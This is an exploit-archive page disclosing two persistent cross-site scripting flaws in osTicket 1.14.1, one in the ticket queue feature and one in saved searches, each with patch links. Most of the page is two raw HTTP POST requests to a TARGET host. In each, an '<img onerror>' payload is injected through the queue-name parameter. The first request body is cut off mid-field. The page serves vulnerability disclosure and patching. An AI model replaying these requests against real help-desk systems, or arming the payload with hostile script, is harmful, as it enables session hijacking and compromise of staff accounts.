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osTicket 1.14.1 Cross Site Scripting

osTicket 1.14.1 Cross Site Scripting
Posted May 27, 2020
Authored by Matthew Aberegg

osTicket version 1.14.1 has been found to be susceptible to multiple additional persistent cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | ece38dfe0b78b4d12c78d458561067a0b97f2949cd82f199e0d6a0061f46a19d

osTicket 1.14.1 Cross Site Scripting

Change Mirror Download
# Exploit Title: osTicket 1.14.1 - 'Ticket Queue' Persistent Cross-Site Scripting
# Date: 2020-05-26
# Exploit Author: Matthew Aberegg
# Vendor Homepage: https://osticket.com
# Patch Link: https://github.com/osTicket/osTicket/commit/6c724ea3fe352d10d457d334dc054ef81917fde1
# Version: osTicket 1.14.1
# Tested on: CentOS 7 (1908)


# Vulnerability Details
# Description : A persistent cross-site scripting vulnerability exists within the 'Ticket Queue' functionality of osTicket.
# Vulnerable Parameter : queue-name


# POC
# Exploit Details : The following request will create a ticket queue with an XSS payload as the queue name.


POST /os-ticket/scp/queues.php? HTTP/1.1
Host: TARGET
Content-Length: 4491
Cache-Control: max-age=0
Origin: http://TARGET
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://TARGET/os-ticket/scp/queues.php?
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: OSTSESSID=0c1ssokv9npgmlolue4utj3l81
Connection: close

__CSRFToken__=849ba29024f9d9a894b82fafe29437ace2edc4fa&do=create&a=add&id=&queue-name=%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&parent_id=0&fields%5B%5D=status__id&fields%5B%5D=status__state&fields%5B%5D=dept_id&fields%5B%5D=assignee&fields%5B%5D=topic_id&fields%5B%5D=created&fields%5B%5D=est_duedate&fields%5B%5D=duedate&250f895b1cb39a=&_field-checkboxes%5B%5D=1545030345&21128ea1697b9a%5B%5D=includes&c88a27abe7cfab%5B%5D=1&8c6a793c80594e%5B%5D=includes&27ca5f383385cb%5B%5D=includes&82094a76afc304%5B%5D=assigned&85d9edefffa2af%5B%5D=set&a504e6f17eb29c%5B%5D=set&0cc4d080a6f9c7=&3bf29b1e29f88a=&cdf4550c8c6152=&6fd24fee5b5572=&fc1676be53debd=&8097e50092c904=&6691443ad8db48%5B%5D=&a34b4283149a9c=&14e270255589aa%5B%5D=d&f5c5cacb5af509=&197e4e922ff97d%5B%5D=d&046798c3e2934b=&35fedfb3380450%5B%5D=d&0358d35fd35b18=&6e8cc954821ab8%5B%5D=d&e8d808c9daa716%5B%5D=set&ba9c3701fead0c=&d5eed7d2b6f6d6=&42861e6193e58b=&5c39f4b522d7bc=&2008591c98253e=&d37db1b3627ff7=&24fb32de6f1bb7%5B%5D=&6759a92723004c=&bad7322c569428%5B%5D=d&ed195f6bb72ac4=&dded6ab7ae5f7d%5B%5D=d&2f075fa6f1d982=&608f0a963cf3ee%5B%5D=d&1a29ab5444d543=&df9d61f18b866b%5B%5D=d&d72deaa7c372fc%5B%5D=set&76bf3342e88075=&7a259ed4ddda1b=&bb46d89a671337=&4a459564d07f4d=&8f724bccb10aa8=&cb91e9d8492749=&5b783534587f6a%5B%5D=&68dc79a3890bef=&1f25af8e5603df%5B%5D=d&28959e91fd9838=&204683549219a5%5B%5D=d&0a68d064cd567a=&d4b3a0b1aea1b8%5B%5D=d&90c9e78164a9d4=&e4b53638ab9b55%5B%5D=d&new-field=&filter=&sort_id=&columns%5B1%5D%5Bcolumn_id%5D=1&columns%5B1%5D%5Bheading%5D=Number&columns%5B1%5D%5Bwidth%5D=85&columns%5B1%5D%5Bsortable%5D=on&columns%5B2%5D%5Bcolumn_id%5D=2&columns%5B2%5D%5Bheading%5D=Created&columns%5B2%5D%5Bwidth%5D=120&columns%5B2%5D%5Bsortable%5D=on&columns%5B3%5D%5Bcolumn_id%5D=3&columns%5B3%5D%5Bheading%5D=Subject&columns%5B3%5D%5Bwidth%5D=250&columns%5B3%5D%5Bsortable%5D=on&columns%5B4%5D%5Bcolumn_id%5D=4&columns%5B4%5D%5Bheading%5D=From&columns%5B4%5D%5Bwidth%5D=150&columns%5B4%5D%5Bsortable%5D=on&columns%5B5%5D%5Bcolumn_id%5D=5&columns%5B5%5D%5Bheading%5D=Priority&columns%5B5%5D%5Bwidth%5D=120&columns%5B5%5D%5Bsortable%5D=on&columns%5B8%5D%5Bcolumn_id%5D=8&columns%5B8%5D%5Bheading%5D=Assignee&columns%5B8%5D%5Bwidth%5D=100&columns%5B8%5D%5Bsortable%5D=on&exports%5Bnumber%5D%5Bname%5D=Ticket+Number&exports%5Bnumber%5D%5Bheading%5D=Ticket+Number&exports%5Bcreated%5D%5Bname%5D=Date+Created&exports%5Bcreated%5D%5Bheading%5D=Date+Created&exports%5Bcdata__subject%5D%5Bname%5D=Subject&exports%5Bcdata__subject%5D%5Bheading%5D=Subject&exports%5Buser__name%5D%5Bname%5D=From&exports%5Buser__name%5D%5Bheading%5D=From&exports%5Buser__emails__address%5D%5Bname%5D=From+Email&exports%5Buser__emails__address%5D%5Bheading%5D=From+Email&exports%5Bcdata__priority%5D%5Bname%5D=Priority&exports%5Bcdata__priority%5D%5Bheading%5D=Priority&exports%5Bdept_id%5D%5Bname%5D=Department&exports%5Bdept_id%5D%5Bheading%5D=Department&exports%5Btopic_id%5D%5Bname%5D=Help+Topic&exports%5Btopic_id%5D%5Bheading%5D=Help+Topic&exports%5Bsource%5D%5Bname%5D=Source&exports%5Bsource%5D%5Bheading%5D=Source&exports%5Bstatus__id%5D%5Bname%5D=Current+Status&exports%5Bstatus__id%5D%5Bheading%5D=Current+Status&exports%5Blastupdate%5D%5Bname%5D=Last+Updated&exports%5Blastupdate%5D%5Bheading%5D=Last+Updated&exports%5Best_duedate%5D%5Bname%5D=SLA+Due+Date&exports%5Best_duedate%5D%5Bheading%5D=SLA+Due+Date&exports%5Bduedate%5D%5Bname%5D=Due+Date&exports%5Bduedate%5D%5Bheading%5D=Due+Date&exports%5Bclosed%5D%5Bname%5D=Closed+Date&exports%5Bclosed%5D%5Bheading%5D=Closed+Date&exports%5Bisoverdue%5D%5Bname%5D=Overdue&exports%5Bisoverdue%5D%5Bheading%5D=Overdue&exports%5Bmerged%5D%5Bname%5D=Merged&exports%5Bmerged%5D%5Bheading%5D=Merged&exports%5Blinked%5D%5Bname%5D=Linked&exports%5Blinked%5D%5Bheading%5D=Linked&exports%5Bisanswered%5D%5Bname%5D=Answered&exports%5Bisanswered%5D%5Bheading%5D=Answered&exports%5Bstaff_id%5D%5Bname%5D=Agent+Assigned&exports%5Bstaff_id%5D%5Bheading%5D=Agent+Assigned&exports%5Bteam_id%5D%5Bname%5D=Team+Assigned&exports%5Bteam_id%5D%5Bheading%5D=Team+Assigned&exports%5Bthread_count%5D%5Bname%5D=Thre


---------------------------

# Exploit Title: osTicket 1.14.1 - 'Saved Search' Persistent Cross-Site Scripting
# Date: 2020-06-26
# Exploit Author: Matthew Aberegg
# Vendor Homepage: https://osticket.com
# Patch Link: https://github.com/osTicket/osTicket/commit/d54cca0b265128f119b6c398575175cb10cf1754
# Version: osTicket 1.14.1
# Tested on: CentOS 7 (1908)


# Vulnerability Details
# Description : A persistent cross-site scripting vulnerability exists within the 'Saved Searches' functionality of osTicket.
# Vulnerable Parameter : queue-name


# POC
# Exploit Details : The following request will create a personal queue with an XSS payload as the queue name.


POST /os-ticket/scp/ajax.php/tickets/search/save HTTP/1.1
Host: TARGET
Content-Length: 2407
Accept: */*
X-CSRFToken: 4c0cfe1d90018bd1521d4c6236ff9e695695feb4
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://TARGET
Referer: http://TARGET/os-ticket/scp/tickets.php?queue=1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: OSTSESSID=1bgg4patkgh75amtk7i40ijg0r
Connection: close

id=&parent_id=1&a=search&fields%5B%5D=status__id&fields%5B%5D=status__state&fields%5B%5D=dept_id&fields%5B%5D=assignee&fields%5B%5D=topic_id&fields%5B%5D=created&fields%5B%5D=est_duedate&fields%5B%5D=duedate&6e726d7c5d6739=&bb1ed81f8d0d5b%5B%5D=includes&_field-checkboxes%5B%5D=1248906005&5a14e85b6ad733%5B%5D=includes&64e882412ea044%5B%5D=open&3387e761db951b%5B%5D=includes&fae2c0ad94312b%5B%5D=assigned&8b25367208a92c%5B%5D=set&4548de579d61b2%5B%5D=set&6b0942ccd352fb=&7508c012d200c3=&306afd69a94f37=&2cb42ece11fe18=&19178654ae1019=&5446ab541e9cbe=&643b959c89a939%5B%5D=&c41f997e500bde=&594ae09ae9b23b%5B%5D=d&f67d51537548ed=&782f1a2f64f6b8%5B%5D=d&bf54f7c4c9cd85=&d53f6d5fa7c165%5B%5D=d&dda4c3a3983e11=&3edd5b8c560cb0%5B%5D=d&5d54602e649846%5B%5D=set&eee448b2f6bd17=&c66cc8358c9461=&1c2df7cbee73a8=&2b12655056e4bc=&559ec54e5d4f4d=&4d653aa4c6fbfe=&fde625f821b1cc%5B%5D=&1d3ec7f5059a1e=&fd5c9e3beeb866%5B%5D=d&f9d70eb7b32ef7=&4e236864d83b1b%5B%5D=d&6ad52c19a211f8=&17d6ed14edc097%5B%5D=d&1ed604fc8adb80=&29187a3432e23b%5B%5D=d&6a2107ce7bc3ad%5B%5D=set&968398f30ae34d=&1bd5961978d6f5=&aaead453b69fd8=&b2473437455577=&2d7ade2446d29d=&7248fe732f4071=&9d29b71605e863%5B%5D=&606b27533da5da=&042dae34bbf5f6%5B%5D=d&69e461f3457905=&9cb82bf3b3b655%5B%5D=d&472a67a44bfd63=&387c6a57919904%5B%5D=d&b13a3742f14f6a=&285dc00ac07d30%5B%5D=d&new-field=&inherit-columns=on&columns%5B1%5D%5Bcolumn_id%5D=1&columns%5B1%5D%5Bheading%5D=Ticket&columns%5B1%5D%5Bwidth%5D=100&columns%5B1%5D%5Bname%5D=Ticket+%23&columns%5B1%5D%5Bsortable%5D=on&columns%5B10%5D%5Bcolumn_id%5D=10&columns%5B10%5D%5Bheading%5D=Last+Updated&columns%5B10%5D%5Bwidth%5D=150&columns%5B10%5D%5Bname%5D=Last+Updated&columns%5B10%5D%5Bsortable%5D=on&columns%5B3%5D%5Bcolumn_id%5D=3&columns%5B3%5D%5Bheading%5D=Subject&columns%5B3%5D%5Bwidth%5D=300&columns%5B3%5D%5Bname%5D=Subject&columns%5B3%5D%5Bsortable%5D=on&columns%5B4%5D%5Bcolumn_id%5D=4&columns%5B4%5D%5Bheading%5D=From&columns%5B4%5D%5Bwidth%5D=185&columns%5B4%5D%5Bname%5D=User+Name&columns%5B4%5D%5Bsortable%5D=on&columns%5B5%5D%5Bcolumn_id%5D=5&columns%5B5%5D%5Bheading%5D=Priority&columns%5B5%5D%5Bwidth%5D=85&columns%5B5%5D%5Bname%5D=Priority&columns%5B5%5D%5Bsortable%5D=on&columns%5B8%5D%5Bcolumn_id%5D=8&columns%5B8%5D%5Bheading%5D=Assigned+To&columns%5B8%5D%5Bwidth%5D=160&columns%5B8%5D%5Bname%5D=Assignee&columns%5B8%5D%5Bsortable%5D=on&queue-name=%3Cimg+src%3D%2F+onerror%3Dalert(1)%3E

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